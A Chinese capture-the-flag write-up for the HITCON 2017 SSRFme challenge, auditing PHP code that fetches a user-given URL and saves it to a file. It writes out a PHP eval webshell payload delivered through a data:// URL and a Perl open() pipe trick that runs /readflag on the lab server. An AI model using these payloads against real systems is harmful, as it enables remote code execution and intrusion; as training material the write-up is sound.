[HITCON 2017]SSRFme1

知识点:

        1. php代码审计

        2. SSRF&伪协议

        3. perl语言漏洞

PHP代码审计

 <?php
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
        $_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
    }

    echo $_SERVER["REMOTE_ADDR"];

    $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
    @mkdir($sandbox);
    @chdir($sandbox);

    $data = shell_exec("GET " . escapeshellarg($_GET["url"]));
    $info = pathinfo($_GET["filename"]);
    $dir  = str_replace(".", "", basename($info["dirname"]));
    @mkdir($dir);
    @chdir($dir);
    @file_put_contents(basename($info["basename"]), $data);
    highlight_file(__FILE__);

进入页面开始代码审计~

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {  
    $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);  
    $_SERVER['REMOTE_ADDR'] = $http_x_headers[0];  
}

这段代码首先检查$_SERVER['HTTP_X_FORWARDED_FOR']是否存在,如果存在,则认为这是一个代理IP。然后,它使用explode函数将代理IP字符串(可能是由多个IP组成的,由逗号分隔)分割成数组,并取第一个IP作为$_SERVER['REMOTE_ADDR']的值。这通常用于在反向代理环境中获取原始客户端的IP地址.

echo $_SERVER["REMOTE_ADDR"];

输出客户端的ip地址.

$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);  
@mkdir($sandbox);  
@chdir($sandbox);

 这里首先根据客户端的IP地址(已经过MD5哈希处理,并附加了"orange"字符串)创建一个沙盒目录名称。然后,使用@mkdir(@用于抑制错误消息)尝试创建这个目录。如果目录成功创建,使用@chdir切换到这个目录.

$data = shell_exec("GET " . escapeshellarg($_GET["url"]));

将执行shell_exec里面的内容(用GET方法去请求url),并赋值给$data.

$info = pathinfo($_GET["filename"]);  
$dir  = str_replace(".", "", basename($info["dirname"]));  
@mkdir($dir);  
@chdir($dir);  
@file_put_contents(basename($info["basename"]), $data);

首先,通过pathinfo函数解析$_GET["filename"],获取其中的目录名和文件名.然后,它尝试创建一个新的目录(基于目录名,但移除了所有点.),并切换到该目录。最后,使用file_put_contents函数将数据保存到文件中,文件名基于$_GET["filename"]中的基本文件名.

大概总结一下就是你要传入一个url参数和一个filename参数,url参数会被执行get请求,得到后的内容会被写入到 sandbox/md5(orange.ip)/filename 目录下.

所以我么可以将url的内容定义为 / , 之后filename就叫love吧~

http://9e8fa588-61bd-463f-982d-75d20626a6a1.node5.buuoj.cn:81/?filename=love&url=/

开始执行.

结果为.

 

可以清晰的看到根目录下存在一个flag的文件,但是我们GET请求只能读取目录不能读取文件内容 😅.

方法一,SSRF&伪协议

我们可以去构造一个webshell去读取flag,可以使用data伪协议来构建.

url=data://text/plain,<?php @eval($_POST[cmd]); ?>,那么filename就叫love.php吧~

http://9e8fa588-61bd-463f-982d-75d20626a6a1.node5.buuoj.cn:81/?filename=love.php&url=data://text/plain,<?php @eval($_POST[cmd]); ?>

执行成功后连接一下~

 

去访问一下 /flag 发现什么都没有 😅 .

不过有一个叫readflag的文件.

 

去执行一下~

 

得到了flag,我又试了试cat flag ,结果告诉我没有权限,只有root账户才能读~ 

方法二,perl语言漏洞

因为GET函数在底层调用了perl语言中的open函数,但是该函数存在rce漏洞。当open函数要打开的文件名中存在管道符(并且系统中存在该文件名),就会中断原有打开文件操作,并且把这个文件名当作一个命令来执行.

首先我们先创建一个同名文件~
 

http://131cc1e9-3c92-4b0c-ac15-4bc71fff7f9d.node5.buuoj.cn:81/?url=&filename=|/readflag

之后去执行命令~

http://131cc1e9-3c92-4b0c-ac15-4bc71fff7f9d.node5.buuoj.cn:81/?url=file:|/readflag&filename=123

最后访问我们写入了执行结果的文件~

http://131cc1e9-3c92-4b0c-ac15-4bc71fff7f9d.node5.buuoj.cn:81/sandbox/e51a046f7f8d8c6a6ff47114cd2cd296/123

 出现flag,游戏结束~ 

 

 

 

 

 

  • 16
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值